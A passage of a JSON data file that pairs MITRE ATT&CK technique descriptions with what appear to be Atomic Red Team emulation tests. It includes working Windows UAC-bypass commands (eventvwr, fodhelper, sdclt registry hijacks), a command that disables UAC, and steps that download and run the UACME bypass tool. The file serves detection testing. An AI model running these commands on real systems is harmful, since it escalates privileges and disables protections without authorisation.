- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Rootkit",
- "x_mitre_detection": "Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Drive: Drive Modification",
- "File: File Modification",
- "Firmware: Firmware Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "File Monitoring",
- "Host Intrusion Prevention Systems",
- "Application Control",
- "Signature-based Detection",
- "System Access Controls"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1014"
- },
- "atomic_tests": []
- },
- "T1109": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:22.374Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1109",
- "url": "https://attack.mitre.org/techniques/T1109"
- },
- {
- "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.",
- "source_name": "SanDisk SMART"
- },
- {
- "url": "https://www.smartmontools.org/",
- "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.",
- "source_name": "SmartMontools"
- },
- {
- "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html",
- "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.",
- "source_name": "ITWorld Hard Disk Health Dec 2014"
- }
- ],
- "modified": "2020-10-23T15:04:14.614Z",
- "name": "Component Firmware",
- "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "File monitoring",
- "Host intrusion prevention systems",
- "Anti-virus"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM"
- ],
- "x_mitre_system_requirements": [
- "Ability to update component device firmware from the host operating system."
- ]
- },
- "atomic_tests": []
- },
- "T1036.007": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e",
- "type": "attack-pattern",
- "created": "2021-08-04T20:54:03.066Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1036.007",
- "url": "https://attack.mitre.org/techniques/T1036/007"
- },
- {
- "source_name": "PCMag DoubleExtension",
- "url": "https://www.pcmag.com/encyclopedia/term/double-extension",
- "description": "PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021."
- },
- {
- "source_name": "SOCPrime DoubleExtension",
- "url": "https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/",
- "description": "Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021."
- },
- {
- "source_name": "Seqrite DoubleExtension",
- "url": "https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/",
- "description": "Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021."
- }
- ],
- "modified": "2021-10-14T21:09:59.588Z",
- "name": "Double File Extension",
- "description": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe
may render in some views as just File.txt
). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe
may display as Evil.txt
to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Metadata",
- "File: File Creation"
- ]
- },
- "atomic_tests": []
- },
- "T1548.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak",
- "Casey Smith"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
- "created": "2020-01-30T14:24:34.977Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1548.002",
- "url": "https://attack.mitre.org/techniques/T1548/002"
- },
- {
- "source_name": "Davidson Windows",
- "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html",
- "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014."
- },
- {
- "source_name": "TechNet How UAC Works",
- "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works",
- "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016."
- },
- {
- "source_name": "SANS UAC Bypass",
- "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass",
- "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016."
- },
- {
- "source_name": "MSDN COM Elevation",
- "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx",
- "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016."
- },
- {
- "source_name": "enigma0x3 Fileless UAC Bypass",
- "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
- "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016."
- },
- {
- "source_name": "enigma0x3 sdclt app paths",
- "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/",
- "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017."
- },
- {
- "source_name": "enigma0x3 sdclt bypass",
- "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/",
- "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017."
- },
- {
- "source_name": "TechNet Inside UAC",
- "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx",
- "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016."
- },
- {
- "source_name": "Fortinet Fareit",
- "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware",
- "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016."
- },
- {
- "source_name": "Github UACMe",
- "url": "https://github.com/hfiref0x/UACME",
- "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe
can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)",
- "modified": "2022-04-19T15:11:20.036Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Abuse Elevation Control Mechanism: Bypass User Account Control",
- "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe
bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command
Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The sdclt.exe
bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe
and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand
Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Metadata",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "Administrator"
- ],
- "x_mitre_defense_bypassed": [
- "Windows User Account Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1548.002"
- },
- "atomic_tests": [
- {
- "name": "Bypass UAC using Event Viewer (cmd)",
- "auto_generated_guid": "5073adf8-9a50-4bd9-b298-a9bd2ead8af9",
- "description": "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\nUpon execution command prompt should be launched with administrative privileges. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable_binary": {
- "description": "Binary to execute with UAC Bypass",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "reg.exe add hkcu\\software\\classes\\mscfile\\shell\\open\\command /ve /d \"#{executable_binary}\" /f\ncmd.exe /c eventvwr.msc\n",
- "cleanup_command": "reg.exe delete hkcu\\software\\classes\\mscfile /f >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Bypass UAC using Event Viewer (PowerShell)",
- "auto_generated_guid": "a6ce9acf-842a-4af6-8f79-539be7608e2b",
- "description": "PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\nUpon execution command prompt should be launched with administrative privalages\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable_binary": {
- "description": "Binary to execute with UAC Bypass",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "New-Item \"HKCU:\\software\\classes\\mscfile\\shell\\open\\command\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\mscfile\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\eventvwr.msc\"\n",
- "cleanup_command": "Remove-Item \"HKCU:\\software\\classes\\mscfile\" -force -Recurse -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Bypass UAC using Fodhelper",
- "auto_generated_guid": "58f641ea-12e3-499a-b684-44dee46bd182",
- "description": "Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.\nUpon execution, \"The operation completed successfully.\" will be shown twice and command prompt will be opened.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable_binary": {
- "description": "Binary to execute with UAC Bypass",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "reg.exe add hkcu\\software\\classes\\ms-settings\\shell\\open\\command /ve /d \"#{executable_binary}\" /f\nreg.exe add hkcu\\software\\classes\\ms-settings\\shell\\open\\command /v \"DelegateExecute\" /f\nfodhelper.exe\n",
- "cleanup_command": "reg.exe delete hkcu\\software\\classes\\ms-settings /f >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Bypass UAC using Fodhelper - PowerShell",
- "auto_generated_guid": "3f627297-6c38-4e7d-a278-fc2563eaaeaa",
- "description": "PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.\nUpon execution command prompt will be opened.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable_binary": {
- "description": "Binary to execute with UAC Bypass",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\fodhelper.exe\"\n",
- "cleanup_command": "Remove-Item \"HKCU:\\software\\classes\\ms-settings\" -force -Recurse -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Bypass UAC using ComputerDefaults (PowerShell)",
- "auto_generated_guid": "3c51abf2-44bf-42d8-9111-dc96ff66750f",
- "description": "PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10\nUpon execution administrative command prompt should open\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable_binary": {
- "description": "Binary to execute with UAC Bypass",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\ComputerDefaults.exe\"\n",
- "cleanup_command": "Remove-Item \"HKCU:\\software\\classes\\ms-settings\" -force -Recurse -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Bypass UAC by Mocking Trusted Directories",
- "auto_generated_guid": "f7a35090-6f7f-4f64-bb47-d657bf5b10c1",
- "description": "Creates a fake \"trusted directory\" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems\nUpon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable_binary": {
- "description": "Binary to execute with UAC Bypass",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "mkdir \"\\\\?\\C:\\Windows \\System32\\\"\ncopy \"#{executable_binary}\" \"\\\\?\\C:\\Windows \\System32\\mmc.exe\"\nmklink c:\\testbypass.exe \"\\\\?\\C:\\Windows \\System32\\mmc.exe\"\n",
- "cleanup_command": "rd \"\\\\?\\C:\\Windows \\\" /S /Q >nul 2>nul\ndel \"c:\\testbypass.exe\" >nul 2>nul\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Bypass UAC using sdclt DelegateExecute",
- "auto_generated_guid": "3be891eb-4608-4173-87e8-78b494c029b7",
- "description": "Bypasses User Account Control using a fileless method, registry only.\nUpon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe\n[Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)\nAdapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command.to.execute": {
- "description": "Command to execute",
- "type": "string",
- "default": "cmd.exe /c notepad.exe"
- }
- },
- "executor": {
- "command": "New-Item -Force -Path \"HKCU:\\Software\\Classes\\Folder\\shell\\open\\command\" -Value '#{command.to.execute}'\nNew-ItemProperty -Force -Path \"HKCU:\\Software\\Classes\\Folder\\shell\\open\\command\" -Name \"DelegateExecute\"\nStart-Process -FilePath $env:windir\\system32\\sdclt.exe\nStart-Sleep -s 3\n",
- "cleanup_command": "Remove-Item -Path \"HKCU:\\Software\\Classes\\Folder\" -Recurse -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Disable UAC using reg.exe",
- "auto_generated_guid": "9e8af564-53ec-407e-aaa8-3cb20c3af7f9",
- "description": "Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA from 1 to 0\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f\n",
- "cleanup_command": "reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Bypass UAC using SilentCleanup task",
- "auto_generated_guid": "28104f8a-4ff1-4582-bcf6-699dce156608",
- "description": "Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/\n\nThere is an auto-elevated task called SilentCleanup located in %windir%\\system32\\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level).\n\nFor example, we can set the windir registry kye to: \"cmd /k REM \"\n\nAnd forcefully run SilentCleanup task:\n\nschtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I\n\nREM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_path": {
- "description": "Path to the bat file",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1548.002\\src\\T1548.002.bat"
- }
- },
- "executor": {
- "command": "#{file_path}\n",
- "name": "command_prompt",
- "elevation_required": false
- }
- },
- {
- "name": "UACME Bypass Method 23",
- "auto_generated_guid": "8ceab7a2-563a-47d2-b5ba-0995211128d7",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Leo Davidson derivative\n\nType:\tDll Hijack\n\nMethod: IFileOperation\n\nTarget:\t\\system32\\pkgmgr.exe\n\nComponent: DismCore.dll\n\nImplementation:\tucmDismMethod\n\nUCM Method:\tUacMethodDISM\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\23 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "UACME Bypass Method 31",
- "auto_generated_guid": "b0f76240-9f33-4d34-90e8-3a7d501beb15",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\sdclt.exe\n\nComponent: Attacker defined\n\nImplementation:\tucmSdcltIsolatedCommandMethod\n\nUCM Method:\tUacMethodShellSdclt\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\31 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "UACME Bypass Method 33",
- "auto_generated_guid": "e514bb03-f71c-4b22-9092-9f961ec6fb03",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: winscripting.blog\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\fodhelper.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodMsSettings2\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\33 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "UACME Bypass Method 34",
- "auto_generated_guid": "695b2dac-423e-448e-b6ef-5b88e93011d6",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tShell API\n\nMethod: Environment variables expansion\n\nTarget:\t\\system32\\svchost.exe via \\system32\\schtasks.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDiskCleanupEnvironmentVariable\n\nUCM Method:\tUacMethodDiskSilentCleanup\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\34 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "UACME Bypass Method 39",
- "auto_generated_guid": "56163687-081f-47da-bb9c-7b231c5585cf",
